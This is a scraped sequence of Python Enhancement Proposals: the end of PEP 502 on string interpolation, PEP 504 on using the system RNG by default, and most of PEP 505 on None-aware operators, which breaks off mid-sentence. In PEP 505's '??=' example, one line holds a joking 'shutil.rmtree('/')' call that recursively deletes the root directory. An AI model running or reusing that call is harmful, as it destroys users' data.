ready string interpolation The complimentary PEP 501 brings internationalization into the discussion as a first-class concern, with its proposal of the i-prefix, string.Template syntax integration compatible with ES6 (Javascript), deferred rendering, and an object return value. Implementations in Other Languages String interpolation is now well supported by various programming languages used in multiple industries, and is converging into a standard of sorts. It is centered around str.format() style syntax in minor variations, with the addition of arbitrary expressions to expand utility. In the Motivation section it was shown how convenient interpolation syntax existed in Bash, Perl, and Ruby. Let’s take a look at their expression support. Bash Bash supports a number of arbitrary, even recursive constructs inside strings: > echo "user: $USER, id: $((id + 6)) on host: $(echo is $(hostname))" user: nobody, id: 15 on host: is darkstar Explicit interpolation within double quotes. Direct environment variable access supported. Arbitrary expressions are supported. [4] External process execution and output capture supported. [5] Recursive expressions are supported. Perl Perl also has arbitrary expression constructs, perhaps not as well known: say "I have @{[$id + 6]} guanacos."; # lists say "I have ${\($id + 6)} guanacos."; # scalars say "Hello { @names.join(', ') } how are you?"; # Perl 6 version Explicit interpolation within double quotes. Arbitrary expressions are supported. [6] [7] Ruby Ruby allows arbitrary expressions in its interpolated strings: puts "One plus one is two: #{1 + 1}\n" Explicit interpolation within double quotes. Arbitrary expressions are supported. [8] [9] Possible to change delimiter chars with %. See the Reference Implementation(s) section for an implementation in Python. Others Let’s look at some less-similar modern languages recently implementing string interpolation. Scala Scala interpolation is directed through string prefixes. Each prefix has a different result: s"Hello, $name ${1 + 1}" # arbitrary f"$name%s is $height%2.2f meters tall" # printf-style raw"a\nb" # raw, like r'' These prefixes may also be implemented by the user, by extending Scala’s StringContext class. Explicit interpolation within double quotes with literal prefix. User implemented prefixes supported. Arbitrary expressions are supported. ES6 (Javascript) Designers of Template strings faced the same issue as Python where single and double quotes were taken. Unlike Python however, “backticks” were not. Despite their issues, they were chosen as part of the ECMAScript 2015 (ES6) standard: console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`); Custom prefixes are also supported by implementing a function the same name as the tag: function tag(strings, ...values) { console.log(strings.raw[0]); // raw string is also available return "Bazinga!"; } tag`Hello ${ a + b } world ${ a * b}`; Explicit interpolation within backticks. User implemented prefixes supported. Arbitrary expressions are supported. C#, Version 6 C# has a useful new interpolation feature as well, with some ability to customize interpolation via the IFormattable interface: $"{person.Name, 20} is {person.Age:D3} year{(p.Age == 1 ? "" : "s")} old."; Explicit interpolation with double quotes and $ prefix. Custom interpolations are available. Arbitrary expressions are supported. Apple’s Swift Arbitrary interpolation under Swift is available on all strings: let multiplier = 3 let message = "\(multiplier) times 2.5 is \(Double(multiplier) * 2.5)" // message is "3 times 2.5 is 7.5" Implicit interpolation with double quotes. Arbitrary expressions are supported. Cannot contain CR/LF. Additional examples A number of additional examples of string interpolation may be found at Wikipedia. Now that background and history have been covered, let’s continue on for a solution. New Syntax This should be an option of last resort, as every new syntax feature has a cost in terms of real-estate in a brain it inhabits. There is however one alternative left on our list of possibilities, which follows. New String Prefix Given the history of string formatting in Python and backwards-compatibility, implementations in other languages, avoidance of new syntax unless necessary, an acceptable design is reached through elimination rather than unique insight. Therefore, marking interpolated string literals with a string prefix is chosen. We also choose an expression syntax that reuses and builds on the strongest of the existing choices, str.format() to avoid further duplication of functionality: >>> location = 'World' >>> f'Hello, {location} !' # new prefix: f'' 'Hello, World !' # interpolated result PEP 498 – Literal String Formatting, delves into the mechanics and implementation of this design. Additional Topics Safety In this section we will describe the safety situation and precautions taken in support of format-strings. Only string literals have been considered for format-strings, not variables to be taken as input or passed around, making external attacks difficult to accomplish.str.format() and alternatives already handle this use-case. Neither locals() nor globals() are necessary nor used during the transformation, avoiding leakage of information. To eliminate complexity as well as RuntimeError (s) due to recursion depth, recursive interpolation is not supported. However, mistakes or malicious code could be missed inside string literals. Though that can be said of code in general, that these expressions are inside strings means they are a bit more likely to be obscured. Mitigation via Tools The idea is that tools or linters such as pyflakes, pylint, or Pycharm, may check inside strings with expressions and mark them up appropriately. As this is a common task with programming languages today, multi-language tools won’t have to implement this feature solely for Python, significantly shortening time to implementation. Farther in the future, strings might also be checked for constructs that exceed the safety policy of a project. Style Guide/Precautions As arbitrary expressions may accomplish anything a Python expression is able to, it is highly recommended to avoid constructs inside format-strings that could cause side effects. Further guidelines may be written once usage patterns and true problems are known. Reference Implementation(s) The say module on PyPI implements string interpolation as described here with the small burden of a callable interface: ＞ pip install say from say import say nums = list(range(4)) say("Nums has {len(nums)} items: {nums}") A Python implementation of Ruby interpolation is also available. It uses the codecs module to do its work: ＞ pip install interpy # coding: interpy location = 'World' print("Hello #{location}.") Backwards Compatibility By using existing syntax and avoiding current or historical features, format strings were designed so as to not interfere with existing code and are not expected to cause any issues. Postponed Ideas Internationalization Though it was highly desired to integrate internationalization support, (see PEP 501), the finer details diverge at almost every point, making a common solution unlikely: [15] Use-cases differ Compile vs. run-time tasks Interpolation syntax needs Intended audience Security policy Rejected Ideas Restricting Syntax to str.format() Only The common arguments against support of arbitrary expressions were: YAGNI, “You aren’t gonna need it.” The feature is not congruent with historical Python conservatism. Postpone - can implement in a future version if need is demonstrated. Support of only str.format() syntax however, was deemed not enough of a solution to the problem. Often a simple length or increment of an object, for example, is desired before printing. It can be seen in the Implementations in Other Languages section that the developer community at large tends to agree. String interpolation with arbitrary expressions is becoming an industry standard in modern languages due to its utility. Additional/Custom String-Prefixes As seen in the Implementations in Other Languages section, many modern languages have extensible string prefixes with a common interface. This could be a way to generalize and reduce lines of code in common situations. Examples are found in ES6 (Javascript), Scala, Nim, and C# (to a lesser extent). This was rejected by the BDFL. [14] Automated Escaping of Input Variables While helpful in some cases, this was thought to create too much uncertainty of when and where string expressions could be used safely or not. The concept was also difficult to describe to others. [12] Always consider format string variables to be unescaped, unless the developer has explicitly escaped them. Environment Access and Command Substitution For systems programming and shell-script replacements, it would be useful to handle environment variables and capture output of commands directly in an expression string. This was rejected as not important enough, and looking too much like bash/perl, which could encourage bad habits. [13] Acknowledgements Eric V. Smith for the authoring and implementation of PEP 498. Everyone on the python-ideas mailing list for rejecting the various crazy ideas that came up, helping to keep the final design in focus. References [1] Briefer String Format (https://mail.python.org/pipermail/python-ideas/2015-July/034659.html) [2] Briefer String Format (https://mail.python.org/pipermail/python-ideas/2015-July/034669.html) [3] Briefer String Format (https://mail.python.org/pipermail/python-ideas/2015-July/034701.html) [4] Bash Docs (https://tldp.org/LDP/abs/html/arithexp.html) [5] Bash Docs (https://tldp.org/LDP/abs/html/commandsub.html) [6] Perl Cookbook (https://docstore.mik.ua/orelly/perl/cookbook/ch01_11.htm) [7] Perl Docs (https://web.archive.org/web/20121025185907/https://perl6maven.com/perl6-scalar-array-and-hash-interpolation) [8] Ruby Docs (http://ruby-doc.org/core-2.1.1/doc/syntax/literals_rdoc.html#label-Strings) [9] Ruby Docs (https://en.wikibooks.org/wiki/Ruby_Programming/Syntax/Literals#Interpolation) [10] Python Str.Format Syntax (https://docs.python.org/3.6/library/string.html#format-string-syntax) [11] Python Format-Spec Mini Language (https://docs.python.org/3.6/library/string.html#format-specification-mini-language) [12] Escaping of Input Variables (https://mail.python.org/pipermail/python-ideas/2015-August/035532.html) [13] Environment Access and Command Substitution (https://mail.python.org/pipermail/python-ideas/2015-August/035554.html) [14] Extensible String Prefixes (https://mail.python.org/pipermail/python-ideas/2015-August/035336.html) [15] Literal String Formatting (https://mail.python.org/pipermail/python-dev/2015-August/141289.html) Copyright This document has been placed in the public domain.

Rejected

PEP 502 – String Interpolation - Extended Discussion

Informational

PEP 498: Literal String Interpolation, which proposed “formatted strings” was accepted September 9th, 2015. Additional background and rationale given during its design phase is detailed below.

PEP 504 – Using the System RNG by default Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Withdrawn Type: Standards Track Created: 15-Sep-2015 Python-Version: 3.6 Post-History: 15-Sep-2015 Table of Contents Abstract PEP Withdrawal Proposal Warning on implicit opt-in Performance impact Documentation changes Rationale Discussion Why “ensure_repeatable” over “ensure_deterministic”? Only changing the default for Python 3.6+ Keeping the module level functions Warning when implicitly opting in to the deterministic RNG Avoiding the introduction of a userspace CSPRNG Isn’t the deterministic PRNG “secure enough”? Security fatigue in the Python ecosystem Acknowledgements References Copyright Abstract Python currently defaults to using the deterministic Mersenne Twister random number generator for the module level APIs in the random module, requiring users to know that when they’re performing “security sensitive” work, they should instead switch to using the cryptographically secure os.urandom or random.SystemRandom interfaces or a third party library like cryptography. Unfortunately, this approach has resulted in a situation where developers that aren’t aware that they’re doing security sensitive work use the default module level APIs, and thus expose their users to unnecessary risks. This isn’t an acute problem, but it is a chronic one, and the often long delays between the introduction of security flaws and their exploitation means that it is difficult for developers to naturally learn from experience. In order to provide an eventually pervasive solution to the problem, this PEP proposes that Python switch to using the system random number generator by default in Python 3.6, and require developers to opt-in to using the deterministic random number generator process wide either by using a new random.ensure_repeatable() API, or by explicitly creating their own random.Random() instance. To minimise the impact on existing code, module level APIs that require determinism will implicitly switch to the deterministic PRNG. PEP Withdrawal During discussion of this PEP, Steven D’Aprano proposed the simpler alternative of offering a standardised secrets module that provides “one obvious way” to handle security sensitive tasks like generating default passwords and other tokens. Steven’s proposal has the desired effect of aligning the easy way to generate such tokens and the right way to generate them, without introducing any compatibility risks for the existing random module API, so this PEP has been withdrawn in favour of further work on refining Steven’s proposal as PEP 506. Proposal Currently, it is never correct to use the module level functions in the random module for security sensitive applications. This PEP proposes to change that admonition in Python 3.6+ to instead be that it is not correct to use the module level functions in the random module for security sensitive applications if random.ensure_repeatable() is ever called (directly or indirectly) in that process. To achieve this, rather than being bound methods of a random.Random instance as they are today, the module level callables in random would change to be functions that delegate to the corresponding method of the existing random._inst module attribute. By default, this attribute will be bound to a random.SystemRandom instance. A new random.ensure_repeatable() API will then rebind the random._inst attribute to a system.Random instance, restoring the same module level API behaviour as existed in previous Python versions (aside from the additional level of indirection): def ensure_repeatable(): """Switch to using random.Random() for the module level APIs This switches the default RNG instance from the cryptographically secure random.SystemRandom() to the deterministic random.Random(), enabling the seed(), getstate() and setstate() operations. This means a particular random scenario can be replayed later by providing the same seed value or restoring a previously saved state. NOTE: Libraries implementing security sensitive operations should always explicitly use random.SystemRandom() or os.urandom in order to correctly handle applications that call this function. """ if not isinstance(_inst, Random): _inst = random.Random() To minimise the impact on existing code, calling any of the following module level functions will implicitly call random.ensure_repeatable(): random.seed random.getstate random.setstate There are no changes proposed to the random.Random or random.SystemRandom class APIs - applications that explicitly instantiate their own random number generators will be entirely unaffected by this proposal. Warning on implicit opt-in In Python 3.6, implicitly opting in to the use of the deterministic PRNG will emit a deprecation warning using the following check: if not isinstance(_inst, Random): warnings.warn(DeprecationWarning, "Implicitly ensuring repeatability. " "See help(random.ensure_repeatable) for details") ensure_repeatable() The specific wording of the warning should have a suitable answer added to Stack Overflow as was done for the custom error message that was added for missing parentheses in a call to print [10]. In the first Python 3 release after Python 2.7 switches to security fix only mode, the deprecation warning will be upgraded to a RuntimeWarning so it is visible by default. This PEP does not propose ever removing the ability to ensure the default RNG used process wide is a deterministic PRNG that will produce the same series of outputs given a specific seed. That capability is widely used in modelling and simulation scenarios, and requiring that ensure_repeatable() be called either directly or indirectly is a sufficient enhancement to address the cases where the module level random API is used for security sensitive tasks in web applications without due consideration for the potential security implications of using a deterministic PRNG. Performance impact Due to the large performance difference between random.Random and random.SystemRandom, applications ported to Python 3.6 will encounter a significant performance regression in cases where: the application is using the module level random API cryptographic quality randomness isn’t needed the application doesn’t already implicitly opt back in to the deterministic PRNG by calling random.seed, random.getstate, or random.setstate the application isn’t updated to explicitly call random.ensure_repeatable This would be noted in the Porting section of the Python 3.6 What’s New guide, with the recommendation to include the following code in the __main__ module of affected applications: if hasattr(random, "ensure_repeatable"): random.ensure_repeatable() Applications that do need cryptographic quality randomness should be using the system random number generator regardless of speed considerations, so in those cases the change proposed in this PEP will fix a previously latent security defect. Documentation changes The random module documentation would be updated to move the documentation of the seed, getstate and setstate interfaces later in the module, along with the documentation of the new ensure_repeatable function and the associated security warning. That section of the module documentation would also gain a discussion of the respective use cases for the deterministic PRNG enabled by ensure_repeatable (games, modelling & simulation, software testing) and the system RNG that is used by default (cryptography, security token generation). This discussion will also recommend the use of third party security libraries for the latter task. Rationale Writing secure software under deadline and budget pressures is a hard problem. This is reflected in regular notifications of data breaches involving personally identifiable information [1], as well as with failures to take security considerations into account when new systems, like motor vehicles [2], are connected to the internet. It’s also the case that a lot of the programming advice readily available on the internet [#search] simply doesn’t take the mathematical arcana of computer security into account. Compounding these issues is the fact that defenders have to cover all of their potential vulnerabilities, as a single mistake can make it possible to subvert other defences [11]. One of the factors that contributes to making this last aspect particularly difficult is APIs where using them inappropriately creates a silent security failure - one where the only way to find out that what you’re doing is incorrect is for someone reviewing your code to say “that’s a potential security problem”, or for a system you’re responsible for to be compromised through such an oversight (and you’re not only still responsible for that system when it is compromised, but your intrusion detection and auditing mechanisms are good enough for you to be able to figure out after the event how the compromise took place). This kind of situation is a significant contributor to “security fatigue”, where developers (often rightly [9]) feel that security engineers spend all their time saying “don’t do that the easy way, it creates a security vulnerability”. As the designers of one of the world’s most popular languages [8], we can help reduce that problem by making the easy way the right way (or at least the “not wrong” way) in more circumstances, so developers and security engineers can spend more time worrying about mitigating actually interesting threats, and less time fighting with default language behaviours. Discussion Why “ensure_repeatable” over “ensure_deterministic”? This is a case where the meaning of a word as specialist jargon conflicts with the typical meaning of the word, even though it’s technically the same. From a technical perspective, a “deterministic RNG” means that given knowledge of the algorithm and the current state, you can reliably compute arbitrary future states. The problem is that “deterministic” on its own doesn’t convey those qualifiers, so it’s likely to instead be interpreted as “predictable” or “not random” by folks that are familiar with the conventional meaning, but aren’t familiar with the additional qualifiers on the technical meaning. A second problem with “deterministic” as a description for the traditional RNG is that it doesn’t really tell you what you can do with the traditional RNG that you can’t do with the system one. “ensure_repeatable” aims to address both of those problems, as its common meaning accurately describes the main reason for preferring the deterministic PRNG over the system RNG: ensuring you can repeat the same series of outputs by providing the same seed value, or by restoring a previously saved PRNG state. Only changing the default for Python 3.6+ Some other recent security changes, such as upgrading the capabilities of the ssl module and switching to properly verifying HTTPS certificates by default, have been considered critical enough to justify backporting the change to all currently supported versions of Python. The difference in this case is one of degree - the additional benefits from rolling out this particular change a couple of years earlier than will otherwise be the case aren’t sufficient to justify either the additional effort or the stability risks involved in making such an intrusive change in a maintenance release. Keeping the module level functions In additional to general backwards compatibility considerations, Python is widely used for educational purposes, and we specifically don’t want to invalidate the wide array of educational material that assumes the availability of the current random module API. Accordingly, this proposal ensures that most of the public API can continue to be used not only without modification, but without generating any new warnings. Warning when implicitly opting in to the deterministic RNG It’s necessary to implicitly opt in to the deterministic PRNG as Python is widely used for modelling and simulation purposes where this is the right thing to do, and in many cases, these software models won’t have a dedicated maintenance team tasked with ensuring they keep working on the latest versions of Python. Unfortunately, explicitly calling random.seed with data from os.urandom is also a mistake that appears in a number of the flawed “how to generate a security token in Python” guides readily available online. Using first DeprecationWarning, and then eventually a RuntimeWarning, to advise against implicitly switching to the deterministic PRNG aims to nudge future users that need a cryptographically secure RNG away from calling random.seed() and those that genuinely need a deterministic generator towards explicitly calling random.ensure_repeatable(). Avoiding the introduction of a userspace CSPRNG The original discussion of this proposal on python-ideas[#csprng]_ suggested introducing a cryptographically secure pseudo-random number generator and using that by default, rather than defaulting to the relatively slow system random number generator. The problem [7] with this approach is that it introduces an additional point of failure in security sensitive situations, for the sake of applications where the random number generation may not even be on a critical performance path. Applications that do need cryptographic quality randomness should be using the system random number generator regardless of speed considerations, so in those cases. Isn’t the deterministic PRNG “secure enough”? In a word, “No” - that’s why there’s a warning in the module documentation that says not to use it for security sensitive purposes. While we’re not currently aware of any studies of Python’s random number generator specifically, studies of PHP’s random number generator [3] have demonstrated the ability to use weaknesses in that subsystem to facilitate a practical attack on password recovery tokens in popular PHP web applications. However, one of the rules of secure software development is that “attacks only get better, never worse”, so it may be that by the time Python 3.6 is released we will actually see a practical attack on Python’s deterministic PRNG publicly documented. Security fatigue in the Python ecosystem Over the past few years, the computing industry as a whole has been making a concerted effort to upgrade the shared network infrastructure we all depend on to a “secure by default” stance. As one of the most widely used programming languages for network service development (including the OpenStack Infrastructure-as-a-Service platform) and for systems administration on Linux systems in general, a fair share of that burden has fallen on the Python ecosystem, which is understandably frustrating for Pythonistas using Python in other contexts where these issues aren’t of as great a concern. This consideration is one of the primary factors driving the substantial backwards compatibility improvements in this proposal relative to the initial draft concept posted to python-ideas [6]. Acknowledgements Theo de Raadt, for making the suggestion to Guido van Rossum that we seriously consider defaulting to a cryptographically secure random number generator Serhiy Storchaka, Terry Reedy, Petr Viktorin, and anyone else in the python-ideas threads that suggested the approach of transparently switching to the random.Random implementation when any of the functions that only make sense for a deterministic RNG are called Nathaniel Smith for providing the reference on practical attacks against PHP’s random number generator when used to generate password reset tokens Donald Stufft for pursuing additional discussions with network security experts that suggested the introduction of a userspace CSPRNG would mean additional complexity for insufficient gain relative to just using the system RNG directly Paul Moore for eloquently making the case for the current level of security fatigue in the Python ecosystem References [1] Visualization of data breaches involving more than 30k records (each) (http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/) [2] Remote UConnect hack for Jeep Cherokee (http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/) [3] PRNG based attack against password reset tokens in PHP applications (https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf) [4] Search link for “python password generator” (https://www.google.com.au/search?q=python+password+generator) [5] python-ideas thread discussing using a userspace CSPRNG (https://mail.python.org/pipermail/python-ideas/2015-September/035886.html) [6] Initial draft concept that eventually became this PEP (https://mail.python.org/pipermail/python-ideas/2015-September/036095.html) [7] Safely generating random numbers (http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers/) [8] IEEE Spectrum 2015 Top Ten Programming Languages (http://spectrum.ieee.org/computing/software/the-2015-top-ten-programming-languages) [9] OWASP Top Ten Web Security Issues for 2013 (https://www.owasp.org/index.php/OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2013) [10] Stack Overflow answer for missing parentheses in call to print (http://stackoverflow.com/questions/25445439/what-does-syntaxerror-missing-parentheses-in-call-to-print-mean-in-python/25445440#25445440) [11] Bypassing bcrypt through an insecure data cache (http://arstechnica.com/security/2015/09/once-seen-as-bulletproof-11-million-ashley-madison-passwords-already-cracked/) Copyright This document has been placed in the public domain.

Withdrawn

PEP 504 – Using the System RNG by default

Standards Track

Python currently defaults to using the deterministic Mersenne Twister random number generator for the module level APIs in the random module, requiring users to know that when they’re performing “security sensitive” work, they should instead switch to using the cryptographically secure os.urandom or random.SystemRandom interfaces or a third party library like cryptography.

PEP 505 – None-aware operators Author: Mark E. Haase <mehaase at gmail.com>, Steve Dower <steve.dower at python.org> Status: Deferred Type: Standards Track Created: 18-Sep-2015 Python-Version: 3.8 Table of Contents Abstract Syntax and Semantics Specialness of None Grammar changes The coalesce rule The maybe-dot and maybe-subscript operators Reading expressions Examples Standard Library jsonify Grab Rejected Ideas No-Value Protocol Boolean-aware operators Exception-aware operators None-aware Function Call ? Unary Postfix Operator Built-in maybe Just use a conditional expression References Copyright Abstract Several modern programming languages have so-called “null-coalescing” or “null- aware” operators, including C# [1], Dart [2], Perl, Swift, and PHP (starting in version 7). There are also stage 3 draft proposals for their addition to ECMAScript (a.k.a. JavaScript) [3] [4]. These operators provide syntactic sugar for common patterns involving null references. The “null-coalescing” operator is a binary operator that returns its left operand if it is not null. Otherwise it returns its right operand. The “null-aware member access” operator accesses an instance member only if that instance is non-null. Otherwise it returns null. (This is also called a “safe navigation” operator.) The “null-aware index access” operator accesses an element of a collection only if that collection is non-null. Otherwise it returns null. (This is another type of “safe navigation” operator.) This PEP proposes three None-aware operators for Python, based on the definitions and other language’s implementations of those above. Specifically: The “None coalescing” binary operator ?? returns the left hand side if it evaluates to a value that is not None, or else it evaluates and returns the right hand side. A coalescing ??= augmented assignment operator is included. The “None-aware attribute access” operator ?. (“maybe dot”) evaluates the complete expression if the left hand side evaluates to a value that is not None The “None-aware indexing” operator ?[] (“maybe subscript”) evaluates the complete expression if the left hand site evaluates to a value that is not None See the Grammar changes section for specifics and examples of the required grammar changes. See the Examples section for more realistic examples of code that could be updated to use the new operators. Syntax and Semantics Specialness of None The None object denotes the lack of a value. For the purposes of these operators, the lack of a value indicates that the remainder of the expression also lacks a value and should not be evaluated. A rejected proposal was to treat any value that evaluates as “false” in a Boolean context as not having a value. However, the purpose of these operators is to propagate the “lack of value” state, rather than the “false” state. Some argue that this makes None special. We contend that None is already special, and that using it as both the test and the result of these operators does not change the existing semantics in any way. See the Rejected Ideas section for discussions on alternate approaches. Grammar changes The following rules of the Python grammar are updated to read: augassign: ('+=' | '-=' | '*=' | '@=' | '/=' | '%=' | '&=' | '|=' | '^=' | '<<=' | '>>=' | '**=' | '//=' | '??=') power: coalesce ['**' factor] coalesce: atom_expr ['??' factor] atom_expr: ['await'] atom trailer* trailer: ('(' [arglist] ')' | '[' subscriptlist ']' | '?[' subscriptlist ']' | '.' NAME | '?.' NAME) The coalesce rule The coalesce rule provides the ?? binary operator. Unlike most binary operators, the right-hand side is not evaluated until the left-hand side is determined to be None. The ?? operator binds more tightly than other binary operators as most existing implementations of these do not propagate None values (they will typically raise TypeError). Expressions that are known to potentially result in None can be substituted for a default value without needing additional parentheses. Some examples of how implicit parentheses are placed when evaluating operator precedence in the presence of the ?? operator: a, b = None, None def c(): return None def ex(): raise Exception() (a ?? 2 ** b ?? 3) == a ?? (2 ** (b ?? 3)) (a * b ?? c // d) == a * (b ?? c) // d (a ?? True and b ?? False) == (a ?? True) and (b ?? False) (c() ?? c() ?? True) == True (True ?? ex()) == True (c ?? ex)() == c() Particularly for cases such as a ?? 2 ** b ?? 3, parenthesizing the sub-expressions any other way would result in TypeError, as int.__pow__ cannot be called with None (and the fact that the ?? operator is used at all implies that a or b may be None). However, as usual, while parentheses are not required they should be added if it helps improve readability. An augmented assignment for the ?? operator is also added. Augmented coalescing assignment only rebinds the name if its current value is None. If the target name already has a value, the right-hand side is not evaluated. For example: a = None b = '' c = 0 a ??= 'value' b ??= undefined_name c ??= shutil.rmtree('/') # don't try this at home, kids assert a == 'value' assert b == '' assert c == 0 and any(os.scandir('/')) The maybe-dot and maybe-subscript operators The maybe-dot and maybe-subscript operators are added as trailers for atoms, so that they may be used in all the same locations as the regular operators, including as part of an assignment target (more details below). As the existing evaluation rules are not directly embedded in the grammar, we specify the required changes below. Assume that the atom is always successfully evaluated. Each trailer is then evaluated from left to right, applying its own parameter (either its arguments, subscripts or attribute name) to produce the value for the next trailer. Finally, if present, await is applied. For example, await a.b(c).d[e] is currently parsed as ['await', 'a', '.b', '(c)', '.d', '[e]'] and evaluated: _v = a _v = _v.b _v = _v(c) _v = _v.d _v = _v[e] await _v When a None-aware operator is present, the left-to-right evaluation may be short-circuited. For example, await a?.b(c).d?[e] is evaluated: _v = a if _v is not None: _v = _v.b _v = _v(c) _v = _v.d if _v is not None: _v = _v[e] await _v Note await will almost certainly fail in this context, as it would in the case where code attempts await None. We are not proposing to add a None-aware await keyword here, and merely include it in this example for completeness of the specification, since the atom_expr grammar rule includes the keyword. If it were in its own rule, we would have never mentioned it. Parenthesised expressions are handled by the atom rule (not shown above), which will implicitly terminate the short-circuiting behaviour of the above transformation. For example, (a?.b ?? c).d?.e is evaluated as: # a?.b _v = a if _v is not None: _v = _v.b # ... ?? c if _v is None: _v = c # (...).d?.e _v = _v.d if _v is not None: _v = _v.e When used as an assignment target, the None-aware operations may only be used in a “load” context. That is, a?.b = 1 and a?[b] = 1 will raise SyntaxError. Use earlier in the expression (a?.b.c = 1) is permitted, though unlikely to be useful unless combined with a coalescing operation: (a?.b ?? d).c = 1 Reading expressions For the maybe-dot and maybe-subscript operators, the intention is that expressions including these operators should be read and interpreted as for the regular versions of these operators. In “normal” cases, the end results are going to be identical between an expression such as a?.b?[c] and a.b[c], and just as we do not currently read “a.b” as “read attribute b from a if it has an attribute a or else it raises AttributeError”, there is no need to read “a?.b” as “read attribute b from a if a is not None” (unless in a context where the listener needs to be aware of the specific behaviour). For coalescing expressions using the ?? operator, expressions should either be read as “or … if None” or “coalesced with”. For example, the expression a.get_value() ?? 100 would be read “call a dot get_value or 100 if None”, or “call a dot get_value coalesced with 100”. Note Reading code in spoken text is always lossy, and so we make no attempt to define an unambiguous way of speaking these operators. These suggestions are intended to add context to the implications of adding the new syntax. Examples This section presents some examples of common None patterns and shows what conversion to use None-aware operators may look like. Standard Library Using the find-pep505.py script [5] an analysis of the Python 3.7 standard library discovered up to 678 code snippets that could be replaced with use of one of the None-aware operators: $ find /usr/lib/python3.7 -name '*.py' | xargs python3.7 find-pep505.py <snip> Total None-coalescing `if` blocks: 449 Total [possible] None-coalescing `or`: 120 Total None-coalescing ternaries: 27 Total Safe navigation `and`: 13 Total Safe navigation `if` blocks: 61 Total Safe navigation ternaries: 8 Some of these are shown below as examples before and after converting to use the new operators. From bisect.py: def insort_right(a, x, lo=0, hi=None): # ... if hi is None: hi = len(a) # ... After updating to use the ??= augmented assignment statement: def insort_right(a, x, lo=0, hi=None): # ... hi ??= len(a) # ... From calendar.py: encoding = options.encoding if encoding is None: encoding = sys.getdefaultencoding() optdict = dict(encoding=encoding, css=options.css) After updating to use the ?? operator: optdict = dict(encoding=options.encoding ?? sys.getdefaultencoding(), css=options.css) From email/generator.py (and importantly note that there is no way to substitute or for ?? in this situation): mangle_from_ = True if policy is None else policy.mangle_from_ After updating: mangle_from_ = policy?.mangle_from_ ?? True From asyncio/subprocess.py: def pipe_data_received(self, fd, data): if fd == 1: reader = self.stdout elif fd == 2: reader = self.stderr else: reader = None if reader is not None: reader.feed_data(data) After updating to use the ?. operator: def pipe_data_received(self, fd, data): if fd == 1: reader = self.stdout elif fd == 2: reader = self.stderr else: reader = None reader?.feed_data(data) From asyncio/tasks.py: try: await waiter finally: if timeout_handle is not None: timeout_handle.cancel() After updating to use the ?. operator: try: await waiter finally: timeout_handle?.cancel() From ctypes/_aix.py: if libpaths is None: libpaths = [] else: libpaths = libpaths.split(":") After updating: libpaths = libpaths?.split(":") ?? [] From os.py: if entry.is_dir(): dirs.append(name) if entries is not None: entries.append(entry) else: nondirs.append(name) After updating to use the ?. operator: if entry.is_dir(): dirs.append(name) entries?.append(entry) else: nondirs.append(name) From importlib/abc.py: def find_module(self, fullname, path): if not hasattr(self, 'find_spec'): return None found = self.find_spec(fullname, path) return found.loader if found is not None else None After partially updating: def find_module(self, fullname, path): if not hasattr(self, 'find_spec'): return None return self.find_spec(fullname, path)?.loader After extensive updating (arguably excessive, though that’s for the style guides to determine): def find_module(self, fullname, path): return getattr(self, 'find_spec', None)?.__call__(fullname, path)?.loader From dis.py: def _get_const_info(const_index, const_list): argval = const_index if const_list is not None: argval = const_list[const_index] return argval, repr(argval) After updating to use the ?[] and ?? operators: def _get_const_info(const_index, const_list): argval = const_list?[const_index] ?? const_index return argval, repr(argval) jsonify This example is from a Python web crawler that uses the Flask framework as its front-end. This function retrieves information about a web site from a SQL database and formats it as JSON to send to an HTTP client: class SiteView(FlaskView): @route('/site/<id_>', methods=['GET']) def get_site(self, id_): site = db.query('site_table').find(id_) return jsonify( first_seen=site.first_seen.isoformat() if site.first_seen is not None else None, id=site.id, is_active=site.is_active, last_seen=site.last_seen.isoformat() if site.last_seen is not None else None, url=site.url.rstrip('/') ) Both first_seen and last_seen are allowed to be null in the database, and they are also allowed to be null in the JSON response. JSON does not have a native way to represent a datetime, so the server’s contract states that any non-null date is represented as an ISO-8601 string. Without knowing the exact semantics of the first_seen and last_seen attributes, it is impossible to know whether the attribute can be safely or performantly accessed multiple times. One way to fix this code is to replace each conditional expression with an explicit value assignment and a full if/else block: class SiteView(FlaskView): @route('/site/<id_>', methods=['GET']) def get_site(self, id_): site = db.query('site_table').find(id_) first_seen_dt = site.first_seen if first_seen_dt is None: first_seen = None else: first_seen = first_seen_dt.isoformat() last_seen_dt = site.last_seen if last_seen_dt is None: last_seen = None else: last_seen = last_seen_dt.isoformat() return jsonify( first_seen=first_seen, id=site.id, is_active=site.is_active, last_seen=last_seen, url=site.url.rstrip('/') ) This adds ten lines of code and four new code paths to the function, dramatically increasing the apparent complexity. Rewriting using the None-aware attribute operator results in shorter code with more clear intent: class SiteView(FlaskView): @route('/site/<id_>', methods=['GET']) def get_site(self, id_): site = db.query('site_table').find(id_) return jsonify( first_seen=site.first_seen?.isoformat(), id=site.id, is_active=site.is_active, last_seen=site.last_seen?.isoformat(), url=site.url.rstrip('/') ) Grab The next example is from a Python scraping library called Grab: class BaseUploadObject(object): def find_content_type(self, filename): ctype, encoding = mimetypes.guess_type(filename) if ctype is None: return 'application/octet-stream' else: return ctype class UploadContent(BaseUploadObject): def __init__(self, content, filename=None, content_type=None): self.content = content if filename is None: self.filename = self.get_random_filename() else: self.filename = filename if content_type is None: self.content_type = self.find_content_type(self.filename) else: self.content_type = content_type class UploadFile(BaseUploadObject): def __init__(self, path, filename=None, content_type=None): self.path = path if filename is None: self.filename = os.path.split(path)[1] else: self.filename = filename if content_type is None: self.content_type = self.find_content_type(self.filename) else: self.content_type = content_type This example contains several good examples of needing to provide default values. Rewriting to use conditional expressions reduces the overall lines of code, but does not necessarily improve readability: class BaseUploadObject(object): def find_content_type(self, filename): ctype, encoding = mimetypes.guess_type(filename) return 'application/octet-stream' if ctype is None else ctype class UploadContent(BaseUploadObject): def __init__(self, content, filename=None, content_type=None): self.content = content self.filename = (self.get_random_filename() if filename is None else filename) self.content_type = (self.find_content_type(self.filename) if content_type is None else content_type) class UploadFile(BaseUploadObject): def __init__(self, path, filename=None, content_type=None): self.path = path self.filename = (os.path.split(path)[1] if filename is None else filename) self.content_type = (self.find_content_type(self.filename) if content_type is None else content_type) The first ternary expression is tidy, but it reverses the intuitive order of the 